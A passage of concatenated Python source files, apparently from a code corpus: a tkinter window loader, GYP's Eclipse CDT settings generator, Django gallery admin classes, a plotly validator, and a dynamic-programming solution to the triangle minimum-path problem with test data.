import json import tkinter from alp.ml import Alp class MainWindow(tkinter.Tk): def __init__(self, filename): super().__init__() self.create_mf(filename) def loop_mainframe(self): self.mainloop() def create_mf(self, filename): f = open(f"{Alp.CONF_DIR}/{filename}", "r") j = json.load(f) alp = Alp() alp.load_widgets(self, j) mf = tkinter.Frame(master=self) mf.pack() mf.exit = tkinter.Button(mf, text="終了", fg="red", command=self.destroy) mf.exit.pack(side="bottom") img = tkinter.Image("photo", file=f"{Alp.CONF_DIR}/gracie.png") self.tk.call('wm', 'iconphoto', self._w, img)
py
1a4cde7788f1fdad8a86654b83504904638bc588
# Copyright (c) 2012 Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """GYP backend that generates Eclipse CDT settings files. This backend DOES NOT generate Eclipse CDT projects. Instead, it generates XML files that can be imported into an Eclipse CDT project. The XML file contains a list of include paths and symbols (i.e. defines). Because a full .cproject definition is not created by this generator, it's not possible to properly define the include dirs and symbols for each file individually. Instead, one set of includes/symbols is generated for the entire project. This works fairly well (and is a vast improvement in general), but may still result in a few indexer issues here and there. This generator has no automated tests, so expect it to be broken. """ from xml.sax.saxutils import escape import os.path import subprocess import gyp import gyp.common import gyp.msvs_emulation import shlex import xml.etree.cElementTree as ET generator_wants_static_library_dependencies_adjusted = False generator_default_variables = {} for dirname in ["INTERMEDIATE_DIR", "PRODUCT_DIR", "LIB_DIR", "SHARED_LIB_DIR"]: # Some gyp steps fail if these are empty(!), so we convert them to variables generator_default_variables[dirname] = "$" + dirname for unused in [ "RULE_INPUT_PATH", "RULE_INPUT_ROOT", "RULE_INPUT_NAME", "RULE_INPUT_DIRNAME", "RULE_INPUT_EXT", "EXECUTABLE_PREFIX", "EXECUTABLE_SUFFIX", "STATIC_LIB_PREFIX", "STATIC_LIB_SUFFIX", "SHARED_LIB_PREFIX", "SHARED_LIB_SUFFIX", "CONFIGURATION_NAME", ]: generator_default_variables[unused] = "" # Include dirs will occasionally use the SHARED_INTERMEDIATE_DIR variable as # part of the path when dealing with generated headers. This value will be # replaced dynamically for each configuration. generator_default_variables["SHARED_INTERMEDIATE_DIR"] = "$SHARED_INTERMEDIATE_DIR" def CalculateVariables(default_variables, params): generator_flags = params.get("generator_flags", {}) for key, val in generator_flags.items(): default_variables.setdefault(key, val) flavor = gyp.common.GetFlavor(params) default_variables.setdefault("OS", flavor) if flavor == "win": gyp.msvs_emulation.CalculateCommonVariables(default_variables, params) def CalculateGeneratorInputInfo(params): """Calculate the generator specific info that gets fed to input (called by gyp).""" generator_flags = params.get("generator_flags", {}) if generator_flags.get("adjust_static_libraries", False): global generator_wants_static_library_dependencies_adjusted generator_wants_static_library_dependencies_adjusted = True def GetAllIncludeDirectories( target_list, target_dicts, shared_intermediate_dirs, config_name, params, compiler_path, ): """Calculate the set of include directories to be used. Returns: A list including all the include_dir's specified for every target followed by any include directories that were added as cflag compiler options. """ gyp_includes_set = set() compiler_includes_list = [] # Find compiler's default include dirs. if compiler_path: command = shlex.split(compiler_path) command.extend(["-E", "-xc++", "-v", "-"]) proc = subprocess.Popen( args=command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) output = proc.communicate()[1].decode("utf-8") # Extract the list of include dirs from the output, which has this format: # ... # #include "..." search starts here: # #include <...> search starts here: # /usr/include/c++/4.6 # /usr/local/include # End of search list. # ... in_include_list = False for line in output.splitlines(): if line.startswith("#include"): in_include_list = True continue if line.startswith("End of search list."): break if in_include_list: include_dir = line.strip() if include_dir not in compiler_includes_list: compiler_includes_list.append(include_dir) flavor = gyp.common.GetFlavor(params) if flavor == "win": generator_flags = params.get("generator_flags", {}) for target_name in target_list: target = target_dicts[target_name] if config_name in target["configurations"]: config = target["configurations"][config_name] # Look for any include dirs that were explicitly added via cflags. This # may be done in gyp files to force certain includes to come at the end. # TODO(jgreenwald): Change the gyp files to not abuse cflags for this, and # remove this. if flavor == "win": msvs_settings = gyp.msvs_emulation.MsvsSettings(target, generator_flags) cflags = msvs_settings.GetCflags(config_name) else: cflags = config["cflags"] for cflag in cflags: if cflag.startswith("-I"): include_dir = cflag[2:] if include_dir not in compiler_includes_list: compiler_includes_list.append(include_dir) # Find standard gyp include dirs. if "include_dirs" in config: include_dirs = config["include_dirs"] for shared_intermediate_dir in shared_intermediate_dirs: for include_dir in include_dirs: include_dir = include_dir.replace( "$SHARED_INTERMEDIATE_DIR", shared_intermediate_dir ) if not os.path.isabs(include_dir): base_dir = os.path.dirname(target_name) include_dir = base_dir + "/" + include_dir include_dir = os.path.abspath(include_dir) gyp_includes_set.add(include_dir) # Generate a list that has all the include dirs. all_includes_list = list(gyp_includes_set) all_includes_list.sort() for compiler_include in compiler_includes_list: if compiler_include not in gyp_includes_set: all_includes_list.append(compiler_include) # All done. return all_includes_list def GetCompilerPath(target_list, data, options): """Determine a command that can be used to invoke the compiler. Returns: If this is a gyp project that has explicit make settings, try to determine the compiler from that. Otherwise, see if a compiler was specified via the CC_target environment variable. """ # First, see if the compiler is configured in make's settings. build_file, _, _ = gyp.common.ParseQualifiedTarget(target_list[0]) make_global_settings_dict = data[build_file].get("make_global_settings", {}) for key, value in make_global_settings_dict: if key in ["CC", "CXX"]: return os.path.join(options.toplevel_dir, value) # Check to see if the compiler was specified as an environment variable. for key in ["CC_target", "CC", "CXX"]: compiler = os.environ.get(key) if compiler: return compiler return "gcc" def GetAllDefines(target_list, target_dicts, data, config_name, params, compiler_path): """Calculate the defines for a project. Returns: A dict that includes explicit defines declared in gyp files along with all of the default defines that the compiler uses. """ # Get defines declared in the gyp files. all_defines = {} flavor = gyp.common.GetFlavor(params) if flavor == "win": generator_flags = params.get("generator_flags", {}) for target_name in target_list: target = target_dicts[target_name] if flavor == "win": msvs_settings = gyp.msvs_emulation.MsvsSettings(target, generator_flags) extra_defines = msvs_settings.GetComputedDefines(config_name) else: extra_defines = [] if config_name in target["configurations"]: config = target["configurations"][config_name] target_defines = config["defines"] else: target_defines = [] for define in target_defines + extra_defines: split_define = define.split("=", 1) if len(split_define) == 1: split_define.append("1") if split_define[0].strip() in all_defines: # Already defined continue all_defines[split_define[0].strip()] = split_define[1].strip() # Get default compiler defines (if possible). if flavor == "win": return all_defines # Default defines already processed in the loop above. if compiler_path: command = shlex.split(compiler_path) command.extend(["-E", "-dM", "-"]) cpp_proc = subprocess.Popen( args=command, cwd=".", stdin=subprocess.PIPE, stdout=subprocess.PIPE ) cpp_output = cpp_proc.communicate()[0].decode("utf-8") cpp_lines = cpp_output.split("\n") for cpp_line in cpp_lines: if not cpp_line.strip(): continue cpp_line_parts = cpp_line.split(" ", 2) key = cpp_line_parts[1] if len(cpp_line_parts) >= 3: val = cpp_line_parts[2] else: val = "1" all_defines[key] = val return all_defines def WriteIncludePaths(out, eclipse_langs, include_dirs): """Write the includes section of a CDT settings export file.""" out.write( ' <section name="org.eclipse.cdt.internal.ui.wizards.' 'settingswizards.IncludePaths">\n' ) out.write(' <language name="holder for library settings"></language>\n') for lang in eclipse_langs: out.write(' <language name="%s">\n' % lang) for include_dir in include_dirs: out.write( ' <includepath workspace_path="false">%s</includepath>\n' % include_dir ) out.write(" </language>\n") out.write(" </section>\n") def WriteMacros(out, eclipse_langs, defines): """Write the macros section of a CDT settings export file.""" out.write( ' <section name="org.eclipse.cdt.internal.ui.wizards.' 'settingswizards.Macros">\n' ) out.write(' <language name="holder for library settings"></language>\n') for lang in eclipse_langs: out.write(' <language name="%s">\n' % lang) for key in sorted(defines): out.write( " <macro><name>%s</name><value>%s</value></macro>\n" % (escape(key), escape(defines[key])) ) out.write(" </language>\n") out.write(" </section>\n") def GenerateOutputForConfig(target_list, target_dicts, data, params, config_name): options = params["options"] generator_flags = params.get("generator_flags", {}) # build_dir: relative path from source root to our output files. # e.g. "out/Debug" build_dir = os.path.join(generator_flags.get("output_dir", "out"), config_name) toplevel_build = os.path.join(options.toplevel_dir, build_dir) # Ninja uses out/Debug/gen while make uses out/Debug/obj/gen as the # SHARED_INTERMEDIATE_DIR. Include both possible locations. shared_intermediate_dirs = [ os.path.join(toplevel_build, "obj", "gen"), os.path.join(toplevel_build, "gen"), ] GenerateCdtSettingsFile( target_list, target_dicts, data, params, config_name, os.path.join(toplevel_build, "eclipse-cdt-settings.xml"), options, shared_intermediate_dirs, ) GenerateClasspathFile( target_list, target_dicts, options.toplevel_dir, toplevel_build, os.path.join(toplevel_build, "eclipse-classpath.xml"), ) def GenerateCdtSettingsFile( target_list, target_dicts, data, params, config_name, out_name, options, shared_intermediate_dirs, ): gyp.common.EnsureDirExists(out_name) with open(out_name, "w") as out: out.write('<?xml version="1.0" encoding="UTF-8"?>\n') out.write("<cdtprojectproperties>\n") eclipse_langs = [ "C++ Source File", "C Source File", "Assembly Source File", "GNU C++", "GNU C", "Assembly", ] compiler_path = GetCompilerPath(target_list, data, options) include_dirs = GetAllIncludeDirectories( target_list, target_dicts, shared_intermediate_dirs, config_name, params, compiler_path, ) WriteIncludePaths(out, eclipse_langs, include_dirs) defines = GetAllDefines( target_list, target_dicts, data, config_name, params, compiler_path ) WriteMacros(out, eclipse_langs, defines) out.write("</cdtprojectproperties>\n") def GenerateClasspathFile( target_list, target_dicts, toplevel_dir, toplevel_build, out_name ): """Generates a classpath file suitable for symbol navigation and code completion of Java code (such as in Android projects) by finding all .java and .jar files used as action inputs.""" gyp.common.EnsureDirExists(out_name) result = ET.Element("classpath") def AddElements(kind, paths): # First, we need to normalize the paths so they are all relative to the # toplevel dir. rel_paths = set() for path in paths: if os.path.isabs(path): rel_paths.add(os.path.relpath(path, toplevel_dir)) else: rel_paths.add(path) for path in sorted(rel_paths): entry_element = ET.SubElement(result, "classpathentry") entry_element.set("kind", kind) entry_element.set("path", path) AddElements("lib", GetJavaJars(target_list, target_dicts, toplevel_dir)) AddElements("src", GetJavaSourceDirs(target_list, target_dicts, toplevel_dir)) # Include the standard JRE container and a dummy out folder AddElements("con", ["org.eclipse.jdt.launching.JRE_CONTAINER"]) # Include a dummy out folder so that Eclipse doesn't use the default /bin # folder in the root of the project. AddElements("output", [os.path.join(toplevel_build, ".eclipse-java-build")]) ET.ElementTree(result).write(out_name) def GetJavaJars(target_list, target_dicts, toplevel_dir): """Generates a sequence of all .jars used as inputs.""" for target_name in target_list: target = target_dicts[target_name] for action in target.get("actions", []): for input_ in action["inputs"]: if os.path.splitext(input_)[1] == ".jar" and not input_.startswith("$"): if os.path.isabs(input_): yield input_ else: yield os.path.join(os.path.dirname(target_name), input_) def GetJavaSourceDirs(target_list, target_dicts, toplevel_dir): """Generates a sequence of all likely java package root directories.""" for target_name in target_list: target = target_dicts[target_name] for action in target.get("actions", []): for input_ in action["inputs"]: if os.path.splitext(input_)[1] == ".java" and not input_.startswith( "$" ): dir_ = os.path.dirname( os.path.join(os.path.dirname(target_name), input_) ) # If there is a parent 'src' or 'java' folder, navigate up to it - # these are canonical package root names in Chromium. This will # break if 'src' or 'java' exists in the package structure. This # could be further improved by inspecting the java file for the # package name if this proves to be too fragile in practice. parent_search = dir_ while os.path.basename(parent_search) not in ["src", "java"]: parent_search, _ = os.path.split(parent_search) if not parent_search or parent_search == toplevel_dir: # Didn't find a known root, just return the original path yield dir_ break else: yield parent_search def GenerateOutput(target_list, target_dicts, data, params): """Generate an XML settings file that can be imported into a CDT project.""" if params["options"].generator_output: raise NotImplementedError("--generator_output not implemented for eclipse") user_config = params.get("generator_flags", {}).get("config", None) if user_config: GenerateOutputForConfig(target_list, target_dicts, data, params, user_config) else: config_names = target_dicts[target_list[0]]["configurations"] for config_name in config_names: GenerateOutputForConfig( target_list, target_dicts, data, params, config_name )
py
1a4cdf87021b807d32f13646c5e2d44322ca2915
from django.contrib import admin from django.utils.translation import ugettext_lazy as _ class CarouselGalleryUniteOptionsAdmin(admin.ModelAdmin): ''' Carousel Tiles - Columns Tiles - Grid Tiles - Justified Tiles - Nested ''' fieldsets = ( (_('Gallery options'), { 'classes': ('collapse',), 'fields': ( # 'gallery_theme', 'gallery_width', 'gallery_min_width', 'gallery_background_color', ) }), ) class SliderGalleryUniteOptionsAdmin(admin.ModelAdmin): ''' Compact theme Default theme Grid theme Slider ''' fieldsets = ( (_('Gallery options'), { 'classes': ('collapse',), 'fields': ( # 'gallery_theme', 'gallery_width', 'gallery_height', 'gallery_min_width', 'gallery_min_height', 'gallery_skin', 'gallery_images_preload_type', 'gallery_autoplay', 'gallery_play_interval', 'gallery_pause_on_mouseover', 'gallery_control_thumbs_mousewheel', 'gallery_control_keyboard', 'gallery_carousel', 'gallery_preserve_ratio', 'gallery_debug_errors', 'gallery_background_color', ) }), )
py
1a4cdfac3f730433f3e96794662f181dec6e7fa3
import _plotly_utils.basevalidators class ShowlegendValidator(_plotly_utils.basevalidators.BooleanValidator): def __init__(self, plotly_name="showlegend", parent_name="area", **kwargs): super(ShowlegendValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, edit_type=kwargs.pop("edit_type", "style"), role=kwargs.pop("role", "info"), **kwargs )
py
1a4ce01f42fa5ae2c50f26b7ed34abb068e34266
# -*- coding: utf-8 -*- """ created by huash06 at 2015-04-15 22:01 Given a triangle, find the minimum path sum from top to bottom. Each step you may move to adjacent numbers on the row below. For example, given the following triangle [ [2], [3,4], [6,5,7], [4,1,8,3] ] The minimum path sum from top to bottom is 11 (i.e., 2 + 3 + 5 + 1 = 11). Note: Bonus point if you are able to do this using only O(n) extra space, where n is the total number of rows in the triangle. """ __author__ = 'huash06' import sys import os import itertools import collections import functools import bisect class Solution: # @param triangle, a list of lists of integers # @return an integer def minimumTotal(self, triangle): """ 暴力解法, 放在这里只是想试试每次遍历最左边的根到叶子的路径的遍历方式。 即Binary_Search_Tree_terator :param triangle: :return: """ if not triangle: return 0 mincount = 0 q = [] for i in range(len(triangle)): q.append((i, 0, 0)) mincount += triangle[i][0] count = mincount while q: r, c, v = q.pop() if v > 0: count -= triangle[r][c] elif r < len(triangle)-1 and c < len(triangle[r+1])-1: q.append((r, c, v+1)) r += 1 c += 1 q.append((r, c, 0)) count += triangle[r][c] while r < len(triangle)-1 and c > 0: r += 1 q.append((r, c, 0)) count += triangle[r][c] mincount = min(mincount, count) else: count -= triangle[r][c] return mincount def dp(self, triangle): if not triangle: return 0 # 令f(i,j)表示第i行选择数字j时的最小值, # f(i,j) = min{f(i-1,j-1), f(i-1,j)} + triangle[i][j] # f(0,0) = triangle[0][0] f = [[1000000000 for _ in range(len(triangle))] for _ in range(len(triangle))] f[0][0] = triangle[0][0] for i in range(len(triangle)-1): for j in range(i+1): f[i+1][j] = min(f[i+1][j], f[i][j]+triangle[i+1][j]) f[i+1][j+1] = min(f[i+1][j+1], f[i][j]+triangle[i+1][j+1]) return min(f[len(triangle)-1]) def dp_op(self, triangle): if not triangle: return 0 # 优化空间 maxint = 1000000000 f = [[maxint for _ in range(len(triangle))] for _ in range(2)] f[0][0] = triangle[0][0] for i in range(len(triangle)-1): # 注意复用了空间, 使用前必须重新初始化 for j in range(i+2): f[(i+1) % 2][j] = maxint for j in range(i+1): f[(i+1) % 2][j] = min(f[(i+1) % 2][j], f[i % 2][j]+triangle[i+1][j]) f[(i+1) % 2][j+1] = min(f[(i+1) % 2][j+1], f[i % 2][j]+triangle[i+1][j+1]) return min(f[(len(triangle)-1) % 2]) s = Solution() s = Solution() t = [ [2], [3,4], [6,5,7], [4,1,8,3] ] # print(s.minimumTotal(t)) # print(s.minimumTotal([[46],[43,61],[10,-16,3],[-26,41,36,-72],[-28,-76,-22,26,51],[56,-53,38,67,86,-45],[58,53,47,-52,-54,-95,56],[-54,-93,58,68,26,-4,-45,86],[75,28,27,12,33,98,35,87,1],[-13,20,25,-98,-13,11,-44,-77,-59,-97],[-53,-14,83,80,31,89,38,-1,15,-88,53],[-22,86,-41,-94,-25,68,-96,87,55,-18,-49,-25],[-93,-48,39,17,8,61,57,-13,-92,-79,-29,87,51],[-63,3,-72,29,-9,57,-93,-46,-84,88,29,83,69,-7],[15,-49,43,90,-43,94,29,50,-21,-33,-16,43,-26,4,90],[-61,-67,-96,18,-63,32,-91,93,16,-61,86,4,67,46,-27,-63],[-38,0,79,-48,56,51,80,-17,-70,-53,67,49,-3,-52,39,12,-43],[43,-93,-7,-48,91,-13,44,-69,-27,-74,74,95,-25,-88,-43,75,90,8],[8,41,-35,91,48,-12,35,-3,62,59,-86,-49,-83,56,-42,-14,84,-74,72],[6,-44,-78,31,-92,-82,-94,-81,-49,57,85,36,-34,4,77,-66,-71,-34,45,25],[-95,4,15,-45,-3,-52,-11,83,-67,15,32,38,47,54,-54,54,48,-72,72,75,85],[35,11,-72,-61,-11,-62,-33,31,82,68,35,-37,-16,66,37,31,-44,20,40,47,-71,-45],[-6,59,0,-51,7,5,97,-40,-10,32,70,-6,47,-41,31,-86,89,-10,59,1,29,-57,-32],[-34,73,0,62,-9,-53,91,45,17,50,-54,65,-65,50,40,-6,-83,-28,-59,-13,-80,0,94,-90],[-34,-39,68,67,89,-89,-88,-67,61,-12,71,-48,11,62,73,-72,-10,95,70,1,45,10,71,38,58],[-88,-98,54,-12,95,64,31,-44,9,-25,-77,20,-14,-45,-42,73,-74,-14,-16,65,-41,-12,-68,-45,-42,32],[76,44,-20,-8,3,-32,-7,-66,56,-11,97,-36,21,7,38,43,-96,-76,74,-62,73,-99,0,-66,42,58,21],[73,89,56,-18,43,0,61,-65,79,-71,27,-86,61,92,87,-98,-9,-29,39,-89,-49,39,85,-12,12,62,87,45],[4,23,-56,-46,12,99,35,-45,-24,-27,-34,-44,1,70,-54,-60,39,-67,-59,-70,-19,57,-59,31,-4,-97,96,85,64],[83,7,-55,-17,50,-2,72,49,-67,-96,-74,5,-30,-42,82,-60,3,98,78,12,-83,85,92,73,-97,24,-54,-95,20,-69],[45,-20,38,89,63,-12,-36,35,-85,-27,38,-83,77,84,-26,36,-99,53,12,56,-35,5,41,-42,-22,43,58,0,24,-45,31],[-31,34,-31,-65,-26,33,-2,85,24,70,1,40,24,-15,90,-63,-14,20,48,-81,85,-47,59,-80,7,-21,54,-92,-97,-91,15,-52],[19,60,-18,93,-30,79,55,94,49,-44,11,-27,18,-21,9,80,98,-65,98,60,-36,34,56,71,-87,10,55,-85,-5,-53,-38,-85,-93],[43,84,-47,-1,39,-53,-52,72,35,-3,-10,-86,82,-30,88,-83,-55,49,-19,78,5,-71,90,92,60,81,-13,-93,-80,1,89,39,-38,-81],[-62,-98,-57,-38,73,77,58,-60,67,40,-14,55,34,30,-19,91,-15,63,-80,-25,55,79,-67,-81,62,-71,-3,28,67,58,46,81,59,88,-57],[9,42,77,48,9,-6,-89,-58,-72,40,22,-81,-98,-15,-85,-24,-83,70,-15,-64,32,13,32,-63,-20,-10,60,-62,-73,48,-20,12,-9,-43,-62,76],[51,-52,-82,55,65,40,74,66,-98,88,-80,-81,59,4,-46,-32,94,62,5,-49,-48,-35,-11,-45,89,68,67,-43,-97,-95,-66,53,-71,-49,-15,93,67],[-41,37,69,-75,56,87,83,-63,-82,-49,-69,79,32,-18,-92,73,70,-37,63,15,-93,-80,17,87,-70,-53,-84,-42,32,86,-75,67,23,70,91,-44,34,51],[-8,51,79,23,7,11,81,-8,-38,28,31,-75,-57,37,-79,37,24,-72,60,16,-15,-31,-21,9,-63,-98,-43,-72,-43,90,79,49,19,58,-51,-74,-54,-93,-6],[7,34,-75,8,76,61,6,-10,-38,33,-49,55,-82,19,-66,3,32,-87,59,60,-31,27,16,94,-54,-49,-80,-52,-27,-74,42,80,59,66,-35,13,5,70,-97,43],[-20,-70,-25,-26,26,9,77,-42,21,13,94,66,-83,10,61,-38,37,57,-13,-89,83,-71,67,19,71,-91,-68,-47,79,-88,73,-41,-82,-52,33,43,56,-13,-98,-46,76],[72,-79,93,-17,58,-68,96,-8,18,-93,-25,23,50,71,-28,59,-97,1,15,90,-26,50,85,22,-17,28,-45,46,6,-14,0,-21,6,-30,38,-59,1,34,32,96,18,84],[-4,-32,55,67,-73,34,-54,18,2,19,-31,-13,-82,28,-85,-27,-25,-2,35,51,53,-59,-79,-9,-42,21,-98,66,-6,19,27,90,64,-18,34,67,93,79,-14,-5,-24,54,81],[-7,-18,72,42,33,-30,-23,-16,-77,-6,4,-10,28,-97,-8,-5,-4,-89,-78,-14,74,-19,97,42,-26,76,-72,68,-48,58,49,45,-60,-2,-36,73,68,41,-43,67,-65,38,-42,63],[40,49,-65,-64,36,-67,-1,-12,13,-4,-70,86,-51,-66,31,1,91,-43,-77,-69,55,-14,80,23,-96,-85,-33,-84,52,24,55,-8,-50,89,4,63,-78,79,-49,12,-25,-43,-25,24,-10],[-93,-98,-42,-37,-76,-35,-82,-14,-54,17,-10,-40,84,5,88,8,-40,-20,35,-74,60,-2,-76,40,48,35,91,-95,-89,-8,-29,93,-7,28,-44,-7,69,-26,79,91,67,-54,-72,51,27,-84],[-63,63,-28,71,65,-67,-54,88,49,93,1,40,74,-12,-90,-55,-19,2,49,13,72,-5,86,28,-13,31,73,14,-18,-23,30,18,-60,78,-34,-95,-89,11,69,36,4,-30,-23,-45,34,-14,-1],[-85,64,-75,28,13,20,-9,-59,83,-78,90,-3,-19,-33,-96,98,-17,59,-35,-36,69,75,-89,-17,-43,-43,36,11,91,98,87,82,62,88,-13,-24,-15,55,-7,-32,53,-16,42,-66,27,22,-67,87],[-19,-26,-49,-72,-51,-39,10,-18,18,-54,93,-14,-56,57,-32,82,45,55,-65,-69,-13,28,-25,-60,88,-83,-26,-8,16,6,-21,96,56,7,-99,81,67,10,-36,-38,32,-66,24,75,90,69,35,12,24],[69,19,-89,-26,71,-50,-61,87,0,31,-20,82,-90,-46,38,16,-46,20,-39,64,60,-1,-4,93,-99,-51,60,69,83,-51,-7,29,68,-20,80,39,6,-81,3,-93,49,60,65,36,-86,4,-71,-33,-99,-34],[-69,60,42,4,30,42,52,-10,11,12,15,80,-82,-17,-40,97,98,42,-83,-21,25,42,-61,-9,-45,-48,71,-16,18,71,26,26,31,-32,-93,-39,-90,35,27,20,-53,-58,0,-36,2,36,-61,-23,-44,-45,55],[80,73,93,-52,-71,-78,-81,12,17,66,-85,-80,-3,-17,-74,34,-8,60,-62,-87,83,-20,-11,-76,58,-74,-38,-65,-19,16,90,-62,-33,60,-37,-5,82,-42,83,-24,-75,97,-5,-2,-20,20,-67,72,-43,-30,61,-60],[26,-50,-37,-16,-25,25,19,32,-82,-14,70,-16,-54,-90,78,-95,-33,61,-20,-9,36,51,66,-84,-29,75,64,27,-55,25,43,48,52,-93,-91,-96,31,27,36,48,-87,-17,-90,-64,-8,87,-83,35,26,-3,-96,-38,-75],[69,-46,-27,44,95,76,65,20,20,13,-51,26,22,-47,-66,-74,88,58,-84,-52,67,-49,39,55,-33,-49,-42,40,-46,-4,42,-77,49,-85,66,44,90,32,-58,10,-78,-10,-87,20,42,-54,23,7,-95,38,54,48,65,-30],[3,-91,21,37,26,51,-67,-32,74,82,-18,17,3,-51,-74,44,36,-52,-88,25,44,30,48,-33,-62,29,81,68,-23,46,-61,80,32,36,17,-42,-13,27,2,-62,9,60,55,88,-91,80,10,21,-95,21,-53,26,-72,94,92],[-35,23,74,-89,99,-3,-74,56,-71,38,-49,-37,-75,77,64,-60,-37,24,71,-49,10,28,37,-69,33,-65,-46,-64,-37,-52,-95,4,70,78,14,47,-47,39,3,-42,-46,30,-2,-21,7,-38,-5,69,63,-34,97,-50,93,11,-20,3],[46,11,15,-91,58,20,-11,6,-25,-96,-47,27,19,32,62,73,-37,-40,-71,69,21,0,16,-39,65,-10,10,35,-99,67,-84,46,-22,30,31,-87,-50,-79,18,25,-99,47,-71,-4,-20,90,-31,42,-50,-26,-12,48,73,80,-91,15,-30],[-4,-72,-29,-60,-57,93,-6,72,25,6,99,22,-98,24,22,48,52,-82,-95,20,-36,46,69,14,-88,17,-35,91,3,56,-61,75,83,9,91,-97,-21,-15,52,80,67,51,-21,45,-48,-99,-29,80,95,-25,0,-64,98,-30,26,86,63,90],[77,-57,24,-84,-82,7,1,85,10,57,-30,-38,37,-85,89,-83,36,-59,93,-93,-79,65,-41,-2,77,-43,44,4,-57,7,-29,96,50,94,89,44,-21,-10,7,88,-76,53,-73,61,67,92,54,-19,-90,24,-13,-70,-10,22,4,-33,55,-52,47],[97,55,-81,71,-18,89,60,-97,-32,-73,9,-67,-49,-37,-64,88,-93,-72,42,-13,-63,-57,51,-56,32,-27,47,76,-71,72,0,-97,4,18,50,85,-15,10,64,52,14,-49,62,64,-10,97,29,-4,-97,-29,60,-61,-10,-12,-41,-77,60,83,75,65],[55,-25,45,-41,70,-5,-79,-45,82,61,83,-4,-88,45,-63,1,20,65,74,22,-87,34,37,2,98,96,1,58,56,-24,1,11,28,-77,46,-2,17,43,29,-24,4,12,71,16,-65,-92,93,54,72,67,-24,61,-22,-87,-36,-24,85,64,-88,41,-82],[-11,-71,45,11,51,-80,-95,-6,25,-19,75,-63,-71,-32,-52,-86,-39,-98,62,-94,-46,24,-40,-33,87,13,-71,28,1,70,22,89,75,-56,-23,27,-37,-42,97,87,15,72,-98,44,-60,-51,57,-22,-72,-4,-17,-19,-80,19,24,83,-68,53,-11,32,0,-89],[-2,-25,-45,74,78,-6,-90,53,-41,24,25,-40,-32,42,-15,-98,-80,12,-2,-21,70,17,97,-6,-22,-70,-53,66,38,46,53,-63,98,-92,87,53,-21,96,6,37,21,-68,73,65,50,-42,67,69,47,-58,-52,-6,35,-55,87,-87,-49,-88,55,89,57,9,-97],[32,-7,89,-14,71,86,91,-15,-16,99,-42,-51,49,-7,-84,-5,-83,-66,42,10,69,64,-26,81,-85,-15,14,-96,-80,-77,-94,51,-8,72,-86,-36,58,82,25,-58,81,83,-33,8,-47,-40,-97,-31,-7,22,55,-38,-14,-71,-79,0,14,34,-19,33,33,-37,-39,-75],[-65,-25,-12,92,-43,-86,-89,-85,73,-45,-1,-74,14,2,-29,-93,-99,-74,-54,-14,-46,-34,85,44,99,-57,-23,32,6,38,56,40,89,-78,10,-54,-88,-3,-63,61,51,36,86,-35,-85,-66,-28,-85,-41,17,0,-11,59,-38,-66,35,-18,-13,-33,87,-75,99,27,-86,97],[-86,-64,85,11,-27,46,-38,85,9,27,99,42,75,90,77,-31,-33,-33,-95,5,-23,39,86,63,82,73,65,58,-22,55,56,-9,91,18,78,-59,-35,-59,-97,73,44,-98,-7,-4,68,-30,41,-65,13,45,39,89,-16,26,53,-57,-24,18,-99,53,-50,33,-78,-82,-48,99],[-65,-7,-83,-63,-34,60,-85,58,-67,82,-94,73,-83,18,-5,33,8,55,-64,-62,97,11,32,75,-58,81,8,-60,99,36,-84,-66,-71,-67,-52,-5,69,-38,-70,-97,-55,-88,52,-62,30,-75,47,-85,79,82,-48,54,-29,83,29,-11,41,-63,28,17,73,43,51,-98,52,75,-27],[22,-63,-20,1,-42,-9,-70,-4,-79,-46,-80,-65,-66,-97,-37,87,-50,-77,16,38,64,29,-57,-19,-21,62,-91,-42,15,83,7,-86,97,86,14,-45,-22,43,27,-25,74,47,-13,-92,26,49,71,75,49,-36,-10,13,69,32,70,-51,-6,79,6,-91,39,-87,-78,36,76,12,68,-69],[-67,-5,-18,-93,-81,68,90,44,-5,61,-4,-56,-98,85,33,70,17,3,-81,-88,-41,1,96,75,-9,95,-12,-56,-16,-44,-26,16,51,55,-1,46,1,-11,-9,72,-73,86,-84,-95,49,25,75,-34,-95,70,-46,-36,-28,-49,-84,39,-54,3,82,29,59,-67,-77,-13,87,21,-90,-35,87],[0,-63,90,-36,-71,95,-87,53,47,-22,58,17,9,98,65,59,90,4,81,-7,-37,-13,-71,-5,-14,-8,-40,84,2,1,71,78,38,38,-58,43,10,-69,-26,-43,-14,-68,74,94,-93,39,30,96,-79,11,-34,-17,74,-28,55,-39,63,91,-55,-58,-8,92,-79,-93,30,-61,50,-82,-30,-76],[-26,32,-68,-75,26,-85,64,-44,87,61,43,-47,-79,-6,24,52,54,-35,43,98,-17,-87,90,3,-81,-2,19,45,15,65,45,65,-3,76,90,99,67,31,-68,54,-31,51,84,-11,-55,-15,-58,99,49,61,74,-90,73,42,12,69,-83,-92,-9,31,72,-63,-27,-54,-87,-37,-55,80,70,-47,11],[-61,-96,-5,5,-51,80,23,-75,6,-16,98,15,-65,40,-95,80,56,-88,-29,-36,61,7,37,-93,-3,76,-71,-46,24,-19,64,39,-38,-63,-56,10,-83,66,11,-1,-72,9,91,-61,-73,95,95,82,83,-34,-76,21,50,37,5,-53,-10,10,0,-86,90,-59,30,-71,-23,73,15,-7,17,-74,69,21],[35,60,59,61,32,54,20,-8,96,43,90,46,-20,-5,69,47,-95,-31,60,71,10,-10,-99,86,-59,15,-43,57,41,-97,-45,-47,39,90,-86,-29,44,33,39,17,-46,29,-36,33,-76,-90,-43,-95,-21,-82,76,65,-16,53,28,1,-55,61,-65,85,63,-11,-62,2,-21,-72,49,99,61,-11,17,91,94],[57,1,95,66,58,99,-78,75,52,86,-64,-18,-8,37,27,-47,71,12,93,-62,27,-5,16,54,-78,16,-8,-13,-90,-17,-19,43,84,-47,9,19,-70,8,-29,81,-6,6,-36,62,-80,90,-84,68,-21,-91,-94,82,-20,21,37,-22,-86,-94,64,-77,-34,-77,65,-73,-25,-48,45,-19,59,-84,-37,-70,-2,3],[92,18,-30,84,-14,25,92,-32,8,-51,88,-78,27,-97,-73,-9,-98,-8,-10,44,-5,42,95,-60,-77,31,-45,-38,60,30,41,29,-52,-89,13,10,13,5,54,-79,54,42,-58,-42,21,-55,25,0,14,-84,-56,-91,34,-61,-51,33,69,-20,95,6,-90,36,-64,-66,24,48,20,-63,-69,-26,-43,61,93,-25,-81],[-9,19,43,90,-90,35,-66,-81,-31,-51,-33,-97,94,23,74,-22,10,-13,13,20,-89,-62,-59,-76,-32,-9,-43,